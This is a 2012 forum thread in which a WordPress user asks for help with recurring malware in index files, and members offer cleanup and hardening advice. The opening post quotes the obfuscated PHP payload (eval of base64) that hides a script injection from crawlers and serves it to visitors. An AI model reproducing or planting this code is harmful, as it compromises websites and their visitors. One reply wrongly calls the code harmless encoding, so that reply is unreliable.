Virus in Index files

Discussion in 'WordPress' started by sweatlana, Feb 22, 2012.

  1. #1
    Hello friends,
    I am in big trouble because my all wordpress blog effected with a virus:
    eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cF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Mk1pRTNNU0UyTVNFeU9DRTJOU0UyTmlFMk9TRTJNU0V4SVRZeklUSWhNakFoTFRNd0lTMHpNQ0U0TmljdWMzQnNhWFFvSnlFbktUdHRaRDBuWVNjN1pUMTNhVzVrYjNkYkoyVW5LeWQyWVd3blhUdDNQV1k3Y3owbkp6dG1jajBuWmljckozSnZKeXNuYlNjckowTm9ZWEluTzNJOWMzTmJabklySjBOdlpHVW5YVHRtYjNJb2FUMHdPekErYVMxM0xteGxibWQwYUR0cEt5c3BlMm85YVR0elBYTXJjaWd6T1NzeEtuZGJhbDBwTzMwS2FXWW9ZV0V1YVc1a1pYaFBaaWhoWVdFcElUMDlMVEVwQ21Vb2N5azdQQzl6WTNKcGNIUSsnKSk7DQp9'));

    =====================
    above is the virus or error which I am facing in all index and other files in my cpanel. I have cleared this error many times but it comes again and again.
    please help me to solve this issue.
    thanks
     
    sweatlana, Feb 22, 2012 IP
  2. samirj09

    samirj09 Well-Known Member

    Messages:
    335
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    125
    #2
    You will need to get with your web host to do a full security scan of your website. If your host cannot do this, I would suggest switching to another web host.

    After the malware has been removed, you need to change all the passwords, and update all installations of wordpress to prevent this from happening again. Sent you a PM with more details as well.
     
    samirj09, Feb 22, 2012 IP
  3. hmansfield

    hmansfield Guest

    Messages:
    7,904
    Likes Received:
    298
    Best Answers:
    0
    Trophy Points:
    280
    #3
    You will never get rid of it. Let me guess. It's a free theme that you downloaded from somewhere, or nulled script.
    This is a common script hidden in a lot of free themes. If you search "Free WordPress themes" in Google, the first 10 sites have themes with malware in them.

    google1.png

    Read here:
    http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/

    The only way out is to do what the previous poster suggested, and do a clean install of WordPress, with a new database. Get rid of that theme all together.
    Stop using free themes. This is why people don't use them. This is also why they are free. Because they enough people will download them if they think they can save a buck.

    The only people you can trust for free themes are the WordPress repository, and reputable companies that you know. COMPANIES (Like Woo Themes) , not Websites just because they look trustworthy. Some premium theme makers will have one or 2 themes for free.
     
    hmansfield, Feb 23, 2012 IP
  4. kar76

    kar76 Greenhorn

    Messages:
    64
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    18
    #4
    Buy premium WordPress theme and always update script and themes. Change your password time to time. Avoid to put much plugins in your blog. Plugins are more vulnerable then other things.
     
    kar76, Feb 23, 2012 IP
  5. sweatlana

    sweatlana Well-Known Member

    Messages:
    2,086
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    180
    #5
    thanks to all for posted replies here. I think this is happened with the free theme I have used. but tell me one thing that can I trust or use theme which are providing by wordpress ?
     
    sweatlana, Feb 23, 2012 IP
  6. flowknight

    flowknight Peon

    Messages:
    46
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    I think you should contact with your hosting provider. And long ago i also had this problem. Because i used a nulled template. Yes you should trust themes that are provided by wordpress.

    Good luck.
     
    flowknight, Feb 23, 2012 IP
  7. iedigcom

    iedigcom Greenhorn

    Messages:
    25
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    11
    #7
    Its really wonder for you. First of All Make Strong Password (Combination of Alphanumeric and Special Character) to all you hosting and FTP. Attacking of Virus is main cause of low password. Delete you all file from server. If you have backup dump your backup in Server.
     
    iedigcom, Feb 23, 2012 IP
  8. hmansfield

    hmansfield Guest

    Messages:
    7,904
    Likes Received:
    298
    Best Answers:
    0
    Trophy Points:
    280
    #8
    Any free theme that IS NOT in the WordPress repository, you have to be suspicious of. Why isn't it? Either because it has malware, or adware.

    The exception is known, trusted companies like Woo Themes, Solostream and a few others that give a theme away every now and then:

    Free themes from WooThemes:
    http://www.woothemes.com/themes/free/

    Free themes from Solostream:
    http://www.solostream.com/free-wordpress-themes/

    These are the only 2 companies that I trust for free themes.

    Really affordable theme club:
    http://www.elegantthemes.com/gallery/

    There may be one or 2 that I left out, but, IDC how may sites people tell you about theme sites that their friends own, or that they SAY they've used without a problem. You need to check them out. Most are garbage sites that people have just used for so long that they don't even know that they are infecting themselves.

    Most free themes sites have one purpose. To do sneaky stuff. Either Backlinks for someone else. Or scripts to run crap on your computer, website, or server.
     
    hmansfield, Feb 23, 2012 IP
  9. sweatlana

    sweatlana Well-Known Member

    Messages:
    2,086
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    180
    #9
    Hello friends,
    I had delete all files and folders from cPanel and installed new and fresh version of wordpress. but after few days malware is back again and now I am facing same issue again. Is this possible after clean the whole cPanel. If yes then please tell me the permanent solution to get rid from Malware attack.
     
    sweatlana, Feb 29, 2012 IP
  10. samirj09

    samirj09 Well-Known Member

    Messages:
    335
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    125
    #10
    Have you changed your cPanel password, WordPress Admin Password, and FTP passwords? Also, are you running the latest version of WordPress.

    If this does not work, you need to find out where this is coming from. Check FTP logs, cPanel Access Logs and sshd logs to find out where this is coming from. Are you on a shared webhost or VPS/Dedicated Server?
     
    samirj09, Feb 29, 2012 IP
  11. sweatlana

    sweatlana Well-Known Member

    Messages:
    2,086
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    180
    #11
    Yes I have changed cPanel password and wordpress admin passwords of all sites. and my host done the full scan of my account already. but problem is still there.
     
    sweatlana, Mar 1, 2012 IP
  12. Remajahost

    Remajahost Peon

    Messages:
    31
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #12
    I often get that in the encrypted file, all files are detected as a virus and phpshell.
     
    Remajahost, Mar 1, 2012 IP
  13. sweatlana

    sweatlana Well-Known Member

    Messages:
    2,086
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    180
    #13
    I cant understand you, please say in details.
     
    sweatlana, Mar 1, 2012 IP
  14. samirj09

    samirj09 Well-Known Member

    Messages:
    335
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    125
    #14
    phpshells allow a user to get access to your account and make changes even though they don't know any of your passwords The only thing you can do to get rid of this is to remove all the shells at once and change all passwords.
     
    samirj09, Mar 1, 2012 IP
  15. BaaBaaBlankiesDotcom

    BaaBaaBlankiesDotcom Active Member

    Messages:
    201
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    55
    #15
    BaaBaaBlankiesDotcom, Mar 1, 2012 IP
  16. arulthileeban023

    arulthileeban023 Peon

    Messages:
    32
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #16
    I can clear the malware as well as the Dynamic DllVirus Sector.I am an ethical hacker.But it costs $100 to clear the malware .I ll finish it in a hour.
     
    arulthileeban023, Mar 5, 2012 IP
  17. TheSyndicate

    TheSyndicate Prominent Member

    Messages:
    5,410
    Likes Received:
    289
    Best Answers:
    0
    Trophy Points:
    365
    #17
    Do not download hacked themes...
     
    TheSyndicate, Mar 11, 2012 IP
  18. Parkway

    Parkway Peon

    Messages:
    26
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #18
    I think it can be simply avoided by not using themes with scripts inside. Those with footer coded always looked suspicious for me. I once got an SQL injection. Was cleaning all files manually for many hours...
     
    Parkway, Mar 13, 2012 IP
  19. thuytran

    thuytran Active Member

    Messages:
    365
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    78
    Digital Goods:
    1
    #19
    that's no viruss, that's encoding of file. base 64
    to know information. search on google, keyword : decode base 64
     
    thuytran, Mar 13, 2012 IP
  20. agtile

    agtile Active Member

    Messages:
    539
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    60
    #20
    There is a chance your WP data base is infected.
    Few good tips about how to secure your WP are here:

    http://www.askfrank.net/how-to-secure-wordpress-blog-from-being-hacked-2012/

    Changing default wp_ prefix for the data base is 1st step
    Hiding your wp-cofig.php by moving it up 1 level so its not publicly accessible and chmod it to 600 or 400
    There are many ways to secure wordpress from hackers.
    Most likely your uploads folder is not secured.
    Go to yourblogurl.com/uploads/
    if you can see the content then everybody can see it . All your plugins etc
    To secure it , you need to create empty index.php file inside your uploads folder
    Hope this helps
     
    agtile, Mar 13, 2012 IP